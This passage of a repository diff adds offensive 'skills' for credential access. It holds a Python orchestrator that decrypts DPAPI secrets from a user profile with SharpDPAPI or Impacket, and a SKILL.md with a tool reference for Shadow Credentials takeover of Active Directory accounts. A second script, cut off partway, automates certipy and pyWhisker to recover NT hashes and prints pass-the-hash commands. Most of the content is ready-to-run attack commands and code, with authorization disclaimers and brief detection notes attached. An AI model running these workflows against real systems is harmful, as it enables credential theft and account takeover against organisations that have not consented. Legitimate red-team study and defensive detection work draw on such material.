+- SharpDPAPI / SharpChrome: https://github.com/GhostPack/SharpDPAPI
+- Mimikatz: https://github.com/gentilkiwi/mimikatz
+- Impacket: https://github.com/fortra/impacket
+- DonPAPI: https://github.com/login-securite/DonPAPI
+- HackTricks DPAPI: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
+- SpecterOps "Operational Guidance for Offensive User DPAPI Abuse": https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107

skills/abusing-dpapi-for-credential-access/scripts/agent.py

@@ -0,0 +1,154 @@
+#!/usr/bin/env python3
+# For authorized penetration testing and educational environments only.
+# Usage against targets without prior mutual written consent is illegal.
+# It is the end user's responsibility to obey all applicable laws.
+"""DPAPI triage orchestrator.
+
+Locates DPAPI artifacts (master keys, Credential Manager blobs, Vault entries)
+on a mounted/exfiltrated user profile and drives SharpDPAPI (on Windows) or
+Impacket's dpapi.py (cross-platform) to decrypt them with a supplied password,
+NTLM hash, or domain backup key (.pvk).
+
+This is an operator helper: it builds and runs the real tool commands and
+parses their output; it does not reimplement DPAPI cryptography.
+"""
+
+import argparse
+import os
+import shutil
+import subprocess
+import sys
+from datetime import datetime, timezone
+
+# Standard relative locations inside a Windows user profile.
+PROTECT_REL = os.path.join("AppData", "Roaming", "Microsoft", "Protect")
+CRED_REL = os.path.join("AppData", "Local", "Microsoft", "Credentials")
+VAULT_LOCAL_REL = os.path.join("AppData", "Local", "Microsoft", "Vault")
+VAULT_ROAM_REL = os.path.join("AppData", "Roaming", "Microsoft", "Vault")
+
+
+def find_tool(candidates):
+    """Return the first available tool path from candidates, else None."""
+    for name in candidates:
+        path = shutil.which(name)
+        if path:
+            return path
+    return None
+
+
+def enumerate_artifacts(profile):
+    """Walk a user profile and collect DPAPI artifact file paths."""
+    found = {"masterkeys": [], "credentials": [], "vaults": []}
+    mapping = {
+        "masterkeys": os.path.join(profile, PROTECT_REL),
+        "credentials": os.path.join(profile, CRED_REL),
+        "vaults": os.path.join(profile, VAULT_LOCAL_REL),
+    }
+    for key, base in mapping.items():
+        if not os.path.isdir(base):
+            continue
+        for root, _dirs, files in os.walk(base):
+            for fname in files:
+                # Master keys are GUID-named; skip preferred/BK marker files noise.
+                found[key].append(os.path.join(root, fname))
+    # Also include roaming vault if present.
+    vroam = os.path.join(profile, VAULT_ROAM_REL)
+    if os.path.isdir(vroam):
+        for root, _dirs, files in os.walk(vroam):
+            for fname in files:
+                found["vaults"].append(os.path.join(root, fname))
+    return found
+
+
+def run_cmd(cmd, timeout):
+    """Run an external command and return (rc, stdout, stderr)."""
+    try:
+        proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
+        return proc.returncode, proc.stdout, proc.stderr
+    except FileNotFoundError:
+        return 127, "", f"tool not found: {cmd[0]}"
+    except subprocess.TimeoutExpired:
+        return 124, "", f"timeout after {timeout}s"
+
+
+def decrypt_masterkey_impacket(tool, mk_file, pvk, timeout):
+    """Decrypt one master key file via impacket-dpapi using a backup .pvk."""
+    cmd = [tool, "masterkey", "-file", mk_file, "-pvk", pvk]
+    rc, out, err = run_cmd(cmd, timeout)
+    return {"file": mk_file, "rc": rc, "output": (out or err).strip()[:2000]}
+
+
+def sharpdpapi_triage(tool, profile, pvk, password, ntlm, timeout):
+    """Build and run a SharpDPAPI triage command appropriate to the inputs."""
+    cmd = [tool, "triage"]
+    if pvk:
+        cmd += [f"/pvk:{pvk}"]
+    elif password:
+        cmd += [f"/password:{password}"]
+    elif ntlm:
+        cmd += [f"/ntlm:{ntlm}"]
+    else:
+        cmd += ["/unprotect"]
+    rc, out, err = run_cmd(cmd, timeout)
+    return {"rc": rc, "output": (out or err).strip()}
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Authorized DPAPI triage helper")
+    parser.add_argument("--profile", help="Path to a (mounted) Windows user profile")
+    parser.add_argument("--pvk", help="Domain DPAPI backup key (.pvk)")
+    parser.add_argument("--password", help="User plaintext password")
+    parser.add_argument("--ntlm", help="User NTLM hash")
+    parser.add_argument("--mode", choices=["enumerate", "impacket", "sharpdpapi"],
+                        default="enumerate",
+                        help="enumerate artifacts, or drive a decryption tool")
+    parser.add_argument("--timeout", type=int, default=120, help="Per-command timeout")
+    args = parser.parse_args()
+
+    ts = datetime.now(timezone.utc).isoformat()
+    print(f"[*] DPAPI triage helper — {ts}")
+    print("[!] Authorized use only. Confirm rules-of-engagement before proceeding.\n")
+
+    if args.mode in ("enumerate", "impacket"):
+        if not args.profile or not os.path.isdir(args.profile):
+            print("[!] --profile must point to an existing user profile directory",
+                  file=sys.stderr)
+            sys.exit(2)
+        artifacts = enumerate_artifacts(args.profile)
+        for kind, items in artifacts.items():
+            print(f"--- {kind.upper()} ({len(items)}) ---")
+            for p in items:
+                print(f"  {p}")
+        if args.mode == "impacket":
+            if not args.pvk:
+                print("\n[!] --pvk required for impacket master key decryption",
+                      file=sys.stderr)
+                sys.exit(2)
+            tool = find_tool(["impacket-dpapi", "dpapi.py"])
+            if not tool:
+                print("[!] impacket-dpapi not found. Install: pipx install impacket",
+                      file=sys.stderr)
+                sys.exit(2)
+            print("\n=== Decrypting master keys with backup key ===")
+            for mk in artifacts["masterkeys"]:
+                res = decrypt_masterkey_impacket(tool, mk, args.pvk, args.timeout)
+                print(f"  [{res['rc']}] {res['file']}")
+                if res["output"]:
+                    print(f"      {res['output'][:300]}")
+        return
+
+    # sharpdpapi mode (Windows operator host)
+    tool = find_tool(["SharpDPAPI.exe", "SharpDPAPI"])
+    if not tool:
+        print("[!] SharpDPAPI not found on PATH. Build from "
+              "https://github.com/GhostPack/SharpDPAPI", file=sys.stderr)
+        sys.exit(2)
+    result = sharpdpapi_triage(tool, args.profile, args.pvk, args.password,
+                               args.ntlm, args.timeout)
+    print("=== SharpDPAPI triage ===")
+    print(result["output"])
+    sys.exit(0 if result["rc"] == 0 else 1)
+
+
+if __name__ == "__main__":
+    main()

skills/abusing-shadow-credentials-for-privesc/LICENSE

@@ -0,0 +1,201 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to the Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding any notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. Please do not remove or change
+      the license header comment from a contributed file except when
+      necessary.
+
+   Copyright 2026 mukul975
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

skills/abusing-shadow-credentials-for-privesc/SKILL.md

@@ -0,0 +1,185 @@
+---
+name: abusing-shadow-credentials-for-privesc
+description: Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
+domain: cybersecurity
+subdomain: red-teaming
+tags:
+- red-team
+- active-directory
+- shadow-credentials
+- pywhisker
+- certipy
+- pkinit
+- key-credential-link
+- privilege-escalation
+version: '1.0'
+author: mahipal
+license: Apache-2.0
+nist_csf:
+- PR.AA-05
+mitre_attack:
+- T1098.005
+---
+# Abusing Shadow Credentials for Privilege Escalation
+
+> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.
+
+## Overview
+
+The **Shadow Credentials** technique abuses the `msDS-KeyCredentialLink` attribute of Active Directory user and computer objects. This attribute stores raw public keys ("Key Credentials") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's `msDS-KeyCredentialLink` — typically granted by `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover **without resetting the password**, which is far stealthier than a forced password reset.
+
+The technique was published by Elad Shamir (*"Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover"*) and implemented in the C# tool **Whisker**. The Python equivalent **pyWhisker** (ShutdownRepo) manipulates the attribute over LDAP, and **Certipy** integrates the entire chain via `certipy shadow auto`. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: [pyWhisker](https://github.com/ShutdownRepo/pywhisker), [Whisker](https://github.com/eladshamir/Whisker), [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials).
+
+## When to Use
+
+- When BloodHound reveals `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over a higher-value user or computer
+- As a stealthier alternative to `ForceChangePassword` (no password reset = less disruption/alerting)
+- To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)
+- During red-team operations needing account takeover without locking out the legitimate user
+- For purple-team exercises generating `msDS-KeyCredentialLink` modification telemetry
+
+## Prerequisites
+
+- Authorized engagement scope including AD credential-access techniques
+- Control of a principal with write access to the target's `msDS-KeyCredentialLink`
+- A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)
+- Network reachability to LDAP (389/636) and Kerberos (88) on a DC
+- Linux attack host with Python 3.8+; install the tooling:
+  ```bash
+  # pyWhisker (from source)
+  git clone https://github.com/ShutdownRepo/pywhisker
+  cd pywhisker && pip install .
+  # Certipy (integrated shadow attack)
+  pipx install certipy-ad
+  # PKINITtools for manual TGT/NT-hash extraction
+  git clone https://github.com/dirkjanm/PKINITtools
+  ```
+
+## Objectives
+
+- Confirm write access over a target's `msDS-KeyCredentialLink`
+- Generate a key pair and append a Key Credential to the target object
+- Request a TGT for the target via PKINIT using the new key
+- Recover the target's NT hash for pass-the-hash / further movement
+- Clean up the injected Key Credential to restore the object's state
+- Document the ACL path that enabled the attack for remediation
+
+## MITRE ATT&CK Mapping
+
+| ID | Technique | Application in this skill |
+|----|-----------|---------------------------|
+| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |
+
+## Workflow
+
+### Step 1: Confirm the write primitive
+List existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the `add` step.
+
+```bash
+python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
+    --target "victim" --action "list"
+```
+
+### Step 2: Add a Shadow Credential with pyWhisker
+Generate a certificate/key pair and write it into the target's `msDS-KeyCredentialLink`. pyWhisker outputs a PFX you control.
+
+```bash
+python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
+    --target "victim" --action "add" --filename victim_shadow
+# Produces victim_shadow.pfx and prints the PFX password
+```
+Use Kerberos auth instead of a password if you only hold a ticket:
+```bash
+python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
+    --target "victim" --action "add" --filename victim_shadow --use-ldaps
+```
+
+### Step 3: Request a TGT via PKINIT
+Use the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.
+
+```bash
+python3 PKINITtools/gettgtpkinit.py \
+    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
+    corp.local/victim victim.ccache
+```
+
+### Step 4: Recover the NT hash
+Extract the target's NT hash from the AS-REP using the session key from Step 3 (`getnthash.py` reads the AS-REP encryption key, displayed by `gettgtpkinit.py`).
+
+```bash
+export KRB5CCNAME=victim.ccache
+python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
+# Prints the NT hash for 'victim'
+```
+
+### Step 5: One-shot alternative with Certipy
+Certipy's `shadow auto` performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.
+
+```bash
+certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
+    -dc-ip 10.0.0.100 -account 'victim'
+# For a computer account, use the sAMAccountName with trailing $
+certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
+    -dc-ip 10.0.0.100 -account 'WS01$'
+```
+
+### Step 6: Use the recovered credential
+Authenticate with the NT hash (or the TGT) to continue the engagement.
+
+```bash
+# Pass-the-hash with NetExec
+nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
+# Or use the TGT directly
+export KRB5CCNAME=victim.ccache
+nxc smb dc.corp.local -u victim --use-kcache
+```
+
+### Step 7: Chain computer takeover into RBCD (optional)
+When the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.
+
+```bash
+# Set RBCD so attacker-controlled SPN can impersonate to WS01$
+impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
+    -action write 'corp.local/attacker:Passw0rd!'
+```
+
+### Step 8: Clean up
+Remove the injected Key Credential to restore the object and reduce detection footprint.
+
+```bash
+# pyWhisker: remove by device-id (printed during add) or clear all you added
+python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
+    --target "victim" --action "remove" --device-id <DEVICE-ID>
+# Certipy shadow auto cleans up automatically; otherwise:
+certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \
+    -dc-ip 10.0.0.100 -account 'victim'
+```
+
+## Tools and Resources
+
+| Resource | Purpose | Link |
+|----------|---------|------|
+| pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
+| Whisker | Original C# implementation | https://github.com/eladshamir/Whisker |
+| Certipy | `shadow auto` end-to-end takeover | https://github.com/ly4k/Certipy |
+| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
+| The Hacker Recipes | Technique walkthrough & defenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
+
+## Detection and Remediation Notes
+
+| Area | Guidance |
+|------|----------|
+| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect/non-Intune principal writes the attribute. |
+| Auditing | Enable directory service object change auditing on user/computer OUs. |
+| Least privilege | Remove unnecessary `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |
+| Mitigation | Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |
+
+## Validation Criteria
+
+- [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)
+- [ ] Key Credential successfully added (PFX generated)
+- [ ] PKINIT TGT obtained for the target account
+- [ ] Target NT hash recovered and validated against a service
+- [ ] (If computer) RBCD chain or onward movement demonstrated
+- [ ] Injected Key Credential removed / object restored
+- [ ] Enabling ACL path documented with remediation recommendation

skills/abusing-shadow-credentials-for-privesc/references/api-reference.md

@@ -0,0 +1,68 @@
+# Shadow Credentials Tooling Reference
+
+## pyWhisker (https://github.com/ShutdownRepo/pywhisker)
+
+Invocation: `python3 pywhisker.py [auth] --target <obj> --action <action> [opts]`
+
+| Flag | Meaning |
+|------|---------|
+| `-d DOMAIN` | Target domain (FQDN) |
+| `-u USER` | Controlled username |
+| `-p PASSWORD` | Password |
+| `-k` / `--no-pass` | Kerberos auth (uses KRB5CCNAME) |
+| `-H LM:NT` | Pass-the-hash |
+| `--target NAME` | Target user/computer whose attribute is modified |
+| `--action list` | Enumerate existing Key Credentials |
+| `--action add` | Generate key pair, write Key Credential |
+| `--action remove` | Remove one Key Credential by `--device-id` |
+| `--action clear` | Remove all Key Credentials |
+| `--action info` | Show details of a Key Credential |
+| `--filename NAME` | Output PFX/PEM base name |
+| `--export PEM|PFX` | Output format (default PFX) |
+| `--device-id GUID` | Target device for remove/info |
+| `--dc-ip IP` | Domain Controller IP |
+| `--use-ldaps` | Use LDAPS (636) |
+
+### Example
+```bash
+python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
+    --target victim --action add --filename victim_shadow
+```
+
+## Certipy `shadow` (https://github.com/ly4k/Certipy)
+
+| Command | Meaning |
+|---------|---------|
+| `certipy shadow auto` | Add → PKINIT → dump NT hash → cleanup (end to end) |
+| `certipy shadow add` | Add Key Credential only |
+| `certipy shadow list` | List Key Credentials |
+| `certipy shadow clear` | Clear Key Credentials |
+| `certipy shadow info` | Show Key Credential info |
+
+Key flags: `-u USER@DOMAIN`, `-p PW` / `-hashes :NT` / `-k -no-pass`,
+`-dc-ip IP`, `-account TARGET` (use trailing `$` for computers), `-ns IP`, `-dns-tcp`.
+
+### Example
+```bash
+certipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \
+    -dc-ip 10.0.0.100 -account 'WS01$'
+```
+
+## PKINITtools (https://github.com/dirkjanm/PKINITtools)
+
+| Script | Purpose |
+|--------|---------|
+| `gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache` | Request TGT via PKINIT; prints AS-REP key |
+| `getnthash.py -key <AS-REP-KEY> DOMAIN/USER` | Recover NT hash (KRB5CCNAME set) |
+
+### Example
+```bash
+python3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \
+    corp.local/victim victim.ccache
+export KRB5CCNAME=victim.ccache
+python3 getnthash.py -key <AS-REP-KEY> corp.local/victim
+```
+
+## Detection signal
+- Event ID 5136 — modification of `msDS-KeyCredentialLink` (Directory Service Changes auditing).
+- BloodHound edge: `AddKeyCredentialLink`.

skills/abusing-shadow-credentials-for-privesc/references/standards.md

@@ -0,0 +1,21 @@
+# Standards Mapping — Abusing Shadow Credentials for Privilege Escalation
+
+## MITRE ATT&CK (Enterprise)
+
+| ID | Name | Rationale |
+|----|------|-----------|
+| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential to `msDS-KeyCredentialLink` registers an alternate device/certificate credential for the target, which is exactly the device-registration manipulation this sub-technique describes. |
+
+Reference: https://attack.mitre.org/techniques/T1098/005/
+
+Related techniques exercised in the chain:
+- T1649 (Steal or Forge Authentication Certificates) — the PKINIT certificate used to authenticate.
+- T1550.003 / T1558 — using the recovered TGT/hash for movement.
+
+## NIST Cybersecurity Framework 2.0
+
+| ID | Name | Rationale |
+|----|------|-----------|
+| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege and separation of duties | The attack is only possible because of over-permissive ACEs (`GenericWrite`/`GenericAll`/`AddKeyCredentialLink`) on AD objects; remediation is least-privilege enforcement of who may write Key Credentials. |
+
+Reference: https://csrc.nist.gov/projects/cybersecurity-framework

skills/abusing-shadow-credentials-for-privesc/scripts/agent.py

@@ -0,0 +1,145 @@
+#!/usr/bin/env python3
+"""
+shadowcred_takeover.py — Orchestrate a Shadow Credentials account takeover.
+
+Wraps the real `certipy shadow auto` workflow (and optionally pyWhisker +
+PKINITtools) to add a Key Credential to a target's msDS-KeyCredentialLink,
+recover the NT hash via PKINIT, and clean up. Parses the tool output to surface
+the recovered NT hash and TGT path.
+
+Authorized use only. Requires write access over the target's
+msDS-KeyCredentialLink and a DC running Windows Server 2016+ with PKINIT.
+
+Install:
+    pipx install certipy-ad
+    git clone https://github.com/ShutdownRepo/pywhisker
+    git clone https://github.com/dirkjanm/PKINITtools
+
+Examples:
+    python shadowcred_takeover.py certipy -u attacker@corp.local -p 'Passw0rd!' \
+        --dc-ip 10.0.0.100 --target 'WS01$'
+    python shadowcred_takeover.py pywhisker -d corp.local -u attacker \
+        -p 'Passw0rd!' --dc-ip 10.0.0.100 --target victim \
+        --pywhisker ./pywhisker/pywhisker.py
+"""
+import argparse
+import os
+import re
+import shutil
+import subprocess
+import sys
+
+
+def _which_or_die(binary, hint):
+    if shutil.which(binary) is None and not os.path.exists(binary):
+        sys.exit(f"[!] '{binary}' not found. {hint}")
+
+
+def run(cmd, timeout=600):
+    print("[*] Running:", " ".join(cmd))
+    try:
+        proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
+    except subprocess.TimeoutExpired:
+        sys.exit(f"[!] Command timed out after {timeout}s.")
+    out = proc.stdout + proc.stderr
+    print(out)
+    return proc.returncode, out
+
+
+def parse_nthash(text):
+    """Certipy prints 'Got hash for ...: aad3b...:<NT>'. Extract the NT half."""
+    m = re.search(r"[Gg]ot hash for .*?:\s*([0-9a-fA-F]{32}):([0-9a-fA-F]{32})", text)
+    if m:
+        return m.group(2)
+    m = re.search(r"\b[0-9a-fA-F]{32}:([0-9a-fA-F]{32})\b", text)
+    return m.group(1) if m else None
+
+
+def certipy_flow(args):
+    _which_or_die("certipy", "Install with: pipx install certipy-ad")
+    cmd = ["certipy", "shadow", "auto",
+           "-u", args.user, "-dc-ip", args.dc_ip, "-account", args.target]
+    if args.password:
+        cmd += ["-p", args.password]
+    elif args.hashes:
+        cmd += ["-hashes", args.hashes]
+    elif args.kerberos:
+        cmd += ["-k", "-no-pass"]
+    else:
+        sys.exit("[!] Provide -p, --hashes, or -k.")
+    if args.ns:
+        cmd += ["-ns", args.ns, "-dns-tcp"]
+    rc, out = run(cmd)
+    if rc != 0:
+        sys.exit("[!] certipy shadow auto failed.")
+    nt = parse_nthash(out)
+    if nt:
+        print(f"\n[+] Recovered NT hash for {args.target}: {nt}")
+        print(f"[+] Reuse it: nxc smb {args.dc_ip} -u {args.target.rstrip('$')} -H {nt}")
+    else:
+        print("[!] Could not auto-extract NT hash; review output above.")
+
+
+def pywhisker_flow(args):
+    if not args.pywhisker or not os.path.exists(args.pywhisker):
+        sys.exit("[!] --pywhisker must point to pywhisker.py")
+    base = "shadow_" + args.target.rstrip("$")
+    cmd = ["python3", args.pywhisker, "-d", args.domain, "-u", args.user,
+           "--target", args.target, "--action", "add", "--filename", base]
+    if args.password:
+        cmd += ["-p", args.password]
+    elif args.kerberos:
+        cmd += ["-k", "--no-pass"]
+    else:
+        sys.exit("[!] Provide -p or -k.")
+    if args.dc_ip:
+        cmd += ["--dc-ip", args.dc_ip]
+    rc, out = run(cmd)
+    if rc != 0:
+        sys.exit("[!] pyWhisker add failed.")
+    pfx_pass = None
+    m = re.search(r"[Pp]assword(?: for the PFX)?:\s*(\S+)", out)
+    if m:
+        pfx_pass = m.group(1)
+    print(f"\n[+] Key Credential added. PFX: {base}.pfx  PFX-pass: {pfx_pass}")
+    print("[+] Next, request a TGT with PKINITtools:")
+    print(f"    python3 gettgtpkinit.py -cert-pfx {base}.pfx -pfx-pass {pfx_pass} "
+          f"{args.domain}/{args.target.rstrip('$')} {base}.ccache")
+    print("    export KRB5CCNAME=%s.ccache" % base)
+    print(f"    python3 getnthash.py -key <AS-REP-KEY> {args.domain}/{args.target.rstrip('$')}")
+    print("[!] Remember to clean up the injected Key Credential when done:")
+    print(f"    python3 {args.pywhisker} -d {args.domain} -u {args.user} "
+          f"--target {args.target} --action clear")
+
+
+def main():
